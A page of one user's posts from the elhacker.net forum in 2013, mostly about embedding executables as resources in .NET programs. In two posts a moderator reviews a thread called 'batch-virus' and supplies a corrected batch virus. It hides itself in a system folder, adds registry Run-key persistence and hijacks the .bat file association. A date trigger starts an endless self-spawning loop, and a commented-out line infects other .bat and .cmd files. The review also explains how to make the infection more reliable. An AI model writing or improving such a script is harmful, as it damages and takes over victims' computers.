elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


Tema destacado: Recopilación Tutoriales y Manuales Hacking, Seguridad, Privacidad, Hardware, etc


  Mostrar Mensajes
Páginas: 1 ... 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 [993] 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 ... 1254
9921  Programación / .NET (C#, VB.NET, ASP) / Re: Juntar un executable u otro archivo que no séa DLL al executable del programa? en: 17 Enero 2013, 19:44 pm
@Seba

Te refieres a la carpeta de appdata donde se genera el "user.config"?
Me gustaría hacer las cosas bien, pero creo que el nombre que se genera es aleatorio, como por ejemplo ".\roaming\Programa.exe_Url_ktb5duwkcuyoinv5ivsuakbcdmye00nf\user.config", ¿entonces como obtengo la ruta? ni siquiera sé si ese número es una GUID única, o que es.



@Kubox

Código
  1. Dim Buffer As Byte() = My.Resources.Splitty_7zip
  2. Dim Fs As New IO.FileStream(TempDir & "Splitty_7zip.exe", IO.FileMode.Create, IO.FileAccess.Write)
  3. Fs.Write(Buffer, 0, Buffer.Length)
  4. Fs.Close()

Te lo digo muy en serio, eres mi pu** ídolo, ¿diosss pero como lo haces para resolverlo todo!?,
PD: Algunos no tenemos la suerte de aprender programación con un profesor en la uni :(.

Desde luego eso de sacar los bytes va para mi colección de snippets/apuntes xD

Un saludo!
9922  Programación / Scripting / Re: [src]batch-virus]f_to en: 17 Enero 2013, 18:57 pm
Bueno, como soy el moderador voy a hacer un doble post porqué sí  (Por una vez no pasa nada xD) :laugh:, que arriba puse demasiada información para leer.

Aquít ienes las correciones que he mencionado antes ( Sí las quieres :P ):

Código
  1. @Echo OFF
  2.  
  3. Set "Folder=%SystemDrive%\placenta"
  4.  
  5. IF exist "%Folder%" (Exit /B 1) Else (
  6. MKDIR           "%Folder%"
  7. Copy /Y "%~0"   "%Folder%\f_to%~x0"
  8. Attrib +R +S +H "%Folder%"
  9. Attrib +R +S    "%Folder%\f_to%~x0"
  10. Reg ADD         "HKLM\Microsoft\Windows\CurrentVersion\Run" /v "SysMgr" /d "%Folder%\f_to%~x0" /F
  11. Reg ADD         "HKCU\Microsoft\Windows\CurrentVersion\Run" /v "SysMgr" /d "%Folder%\f_to%~x0" /F
  12. For /F "Tokens=1-3 Delims= " %%A in ('REG Query "HKCR\.avi" /V ""') Do (Assoc ".bat"="%%C")
  13. IF %date:~6,4%%date:~3,2%%date:~0,2% GEQ 20131213 (GOTO :Loop) Else (Exit /B 1)
  14. REM Como esta orden no se llega a ejecutar en el código original no se donde quieres que la ponga, pero de todas formas la he corregido:
  15. :: For /R %%# in ("*.bat";"*.cmd") do (Copy /Y "%~0" "%%#" & Attrib +s +h "%%#")
  16. )
  17.  
  18. :Loop
  19. (Start /B "" "%~0") & (Goto :Loop)

Saludos.
9923  Programación / Scripting / Re: [src]batch-virus]f_to en: 17 Enero 2013, 18:56 pm
les pido de ante mano que si tienen alguna recomendacion o encuentran algun error me lo hagan saber..

1. En la primera ejecución del bat, creas la carpeta placenta
2. Si la carpeta "placenta" está creada, el script termina su ejecución.
2. Si la fecha es mayor que... intentas ejecutar de nuevo el bat en un búcle infinito.

Pregunta: ¿Que sentido le das ejecutar de nuevo el bat en un búcle infinito, si cuando la carpeta "placenta" ya está creada, el propio bat se cierra?.





Código:
cd\
El comando no sirve para saltar a la raíz de "C:\", sirve para saltar a la raíz del dispositivo actual, es decir, si el """"virus"""" se ejecuta desde la unidad "D:\", buscará por "D:\placenta".





Código
  1. goto _eof
Código
  1. :_eofexit /B

Esto que haces es totálmente innecesario, aparte de que no es necesario llamar a ninguna etiqueta, para algo existe el "EOF":
Código
  1. GOTO:EOF
Y así sales del bat actual.
EDITO: Siempre que no te encuentres dentro de una subrutina.





Código
  1. if exist placenta (Exit /B) & REm aquí llamas a 2 etiquetas innecesarias.




Código
  1. if %date% GEQ 13-12-13 (
Esto es imposible que te funcione:
- el símbolo es "/", y tu estás comparando el guión "-".
- la variable DATE contiene 8 dígitos, no 6.
- no estás usando un orden de comparación correcto:

Tu estás haciendo esto
Código
  1. if %date% GEQ 13-12-13

Si date fuese esto, daría positivo:
Código
  1. if 14-01-01 GEQ 13-12-13





Código
  1. Assoc           ".bat"="avifile"
Esto es muy incorrecto,
para tocar cosas dle registro hay que estudiar lo básico de él.

En muchos PC's funcionará como lo has dejado, pero desde luego no en todos,

el identificador "avifile" puede estar vacío, es decir, "avifile" no tiene porque estar asociado a ningún programa que reproduzca vídeos, por ponerte un ejemplo, cuando instalas un reproductor multimedia de terceros, puede modificar los identificadores por defecto, y eliminarlos.

En mi caso el identificador para los Avi es "UMPLAYER.AVI", si yo quisiera que tu bat me funcionase , debería hacer:
Código
  1. Assoc ".bat"="UMPLAYER.AVI"

Ya que si lo associo a "AVIFILE" obtengo como resultado algo muy distinto,
así que si lo quieres hacer bien, primero tienes que obtener el valor del identificador de los AVI.





Código
  1. Reg ADD  "HKLM\..."
No te recomiendo que uses la raíz Hkey_Local_Machine por los permisos del usuario, sería mejor que escribas en la raíz de la sesión del usuario local "HKCU", además, no fuerzas la escritura de la clave, y eso es muy importante.

Deberías escribir en las dos raizes para asegurarte mejor.





Código
  1. for /R %%i in (*.bat) do copy %0 %%i
  2. for /R %%i in (*.bat) do attrib +s +h %%i

Esas ordenes no se llegan a procesar en ninguno de los casos ya que antes de llegar al FOR, o llamas a una etiqueta, o sales del código, pero el código no sigue,
pregunto, ¿Has probado tu script?.





Código
  1. ::busca archivos .bat y los infecta
  2. for /R %%i in (*.bat) do copy %0 %%i
  3. for /R %%i in (*.bat) do attrib +s +h %%i

Estás haciendo dos pasadas en el disco duro, eso puede tardar siglos usando batch, cuando puedes concatenar los dos comandos en el mismo FOR.





Código
  1. copy %0 %%i
  2. attrib +s +h %%i

¿Que pasa si la variable %%i contiene un archivo con espacios en el nombre? (KABOOM!)
¿Que pasa si intentas copiar un archivo cuando el archivo de destino ya existe? (KABOOM!)

2 razones por las que ese FOR no pueden funcionar, sin mencionar los permisos que el usuario tenga.





Y como crítica constructiva te diré que usas demasiados saltos de etiquetas y deberías aprender a indentar un código para hacer legible tus scripts, tu código está muy embrutecido.
9924  Programación / .NET (C#, VB.NET, ASP) / Re: Juntar un executable u otro archivo que no séa DLL al executable del programa? en: 17 Enero 2013, 13:46 pm
Tus respuestas son alucinantes Kubox (y dificiles),
pero de poco me va a servir, porque lo que quiero ejecutar es el Winrar y el 7zip, que no son ensamblados .NET... xD

A ver, lo voy a explicar de otra manera...

Hice una función para ejecutar procesos, con argumentos:

Código
  1.    Private Function Run_Process(ByVal Process_Name As String, Optional Process_Arguments As String = Nothing, Optional Read_Output As Boolean = False, Optional Process_Hide As Boolean = False)
  2.            Dim My_Process As New Process()
  3.            Dim My_Process_Info As New ProcessStartInfo()
  4.            bla bla bla
  5.            bla bla
  6.            My_Process.Start() ' Run the process NOW
  7.    end function

Y entonces en el código hago por ejemplo esto:
Código
  1. Run_Process(".\Apps\Splitty_winrar.exe", argumentos, false)

Como ves uso la ruta ".\apps\" así que la estructura del directorio de mi programa debe ser así:

Código:
.\Mi_Programa.exe
.\apps
.\apps\splitty_winrar.exe

Yo lo que quiero es embedir el "splitty_winrar.exe" dentro de "mi_programa.exe", para poder usar la función sin depender de la carpeta "apps", llamando al "splitty_winrar.exe" que está embedido dentro de mi programa.así:
Código
  1. Run_Process("Splitty_winrar.exe", argumentos, false)

Es decir, quiero que todo quede en un solo ejecutable distribuible, sin la carpeta "apps", y pudiendo usar la función.

Eso ya lo he intentado, el EXE queda dentro de mi programa, como un recurso más, pero no funciona la orden, no encuentra el executable "splitty_winrar.exe".

Ni siquiera sé si esto es posible hacerlo...

¿Alguna otra ayuda?
9925  Programación / .NET (C#, VB.NET, ASP) / Re: [APORTE] Splitty v1.2 [Source code] en: 17 Enero 2013, 08:06 am
Ya veremos >:D

Ahora si que sí, he resubido el maldito archivo a mi server, ya es descargable pa todos.

PD: Aviso en el evento DragEnter y DragDrop repito bastante código, lo sé, ya lo optimizaré xD.
9926  Programación / .NET (C#, VB.NET, ASP) / [SOLUCIONADO] Ejecutar recurso embedido del programa? en: 17 Enero 2013, 07:26 am
Tengo 4 recursos en mi APP:
Código:
Splitty_WinRar.exe
Splitty_7zip.exe
Default.SFX
rarreg.key

Al compilar el proyecto, los recursos se copian a la carpeta:
Código:
...\Debug\Resources\APPS\*
Y para ejecutar los exe debo usar un:
Código:
process.Start(".\Resources\APPS\Programa.exe")

* Lo que quiero es no depender de esa carpeta llena de recursos.

He intentado cambiar el tipo de recurso a "Resource", "Embeded resource", "Content", pero al hacerlo no encuentro la forma de ejecutar los EXE porque no encuentra la ruta (Están embedidos dentro del EXE) La ruta que utilizo en la CMD es la del directorio de trabajo principal:
Código:
process.Start(".\Programa.exe")

Y también he probado a juntar los recursos con .NET Shrink e ILMerge, pero solo me permite juntar recursos en formato DLL...

¿Alguna ayuda?

EDITO: Sería factible usar un Joiner para esto? :-/
9927  Programación / Scripting / Re: cual es el codigo en batch para controlar el raton y el teclado??? en: 17 Enero 2013, 06:29 am
EN DEFINITIVA:
cual seria el codigo para controlar el raton y el teclado en batch???

Desgraciadamente, no existe tál código.

Batch es muy distinto (Inferior) a cualquier otro lenguaje de programación, todo son comandos internos o externos y no existe un comando interno para hacer lo que pides,
así que tienes dos opciones:

- Recurrir a utilidades CommandLine de terceros para tu propósito (NirCMD) y usarlas desde un archivo Bat.

- Aprender cualquier otro lenguaje de scripting que no séa Batch, por ejemplo VisualBasicScript, Ruby, Python...

Aquí tienes ejemplos para las dos opciones:
http://foro.elhacker.net/scripting/programa_que_simula_la_presion_de_teclas-t380710.0.html
http://foro.elhacker.net/empty-t357086.0.html
http://foro.elhacker.net/empty-t378038.0.html
http://foro.elhacker.net/empty-t370372.0.html

PD: Usa el buscador del foro para más ejemplos.

Saludos
9928  Programación / .NET (C#, VB.NET, ASP) / Re: [APORTE] Snippets !! (Posteen aquí sus snippets) en: 16 Enero 2013, 20:38 pm
Tienes que intentar mejorar tus conceptos  :¬¬ es algo bastante básico

Pues el que hizo la función original es un pedazo de Coder de CodeProject que ha hecho unos 10 controles extendido... así que quizás si usa ByVal es por algo... no sé, no me culpeis a mí xD.

PD: Cuanto más me adentro en .NET más me doy cuenta que es imposible saberlo todo al milímetro!

Saludos!
9929  Programación / .NET (C#, VB.NET, ASP) / Re: [APORTE] Snippets !! (Posteen aquí sus snippets) en: 16 Enero 2013, 19:15 pm
Podrías también, si quieres, pasar la imágen por referencia, como hago yo. Ésto es para no duplicarla, así trabajamos sobre la misma imágen de entrada. Ahorra memoria aunque realizará el cambio aunque no hagamos:

No conocía esos beneficios de ByRef, gracias!
9930  Programación / .NET (C#, VB.NET, ASP) / Re: [APORTE] Splitty v1.2 [Source code] en: 16 Enero 2013, 19:12 pm
He actualizado el programa con unos pequeños cambios...

El código fuente quizás no es muy bonito (Aviso xD), pero está todo ordenado por regiones...

Un saludo!
Páginas: 1 ... 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 [993] 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 ... 1254
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines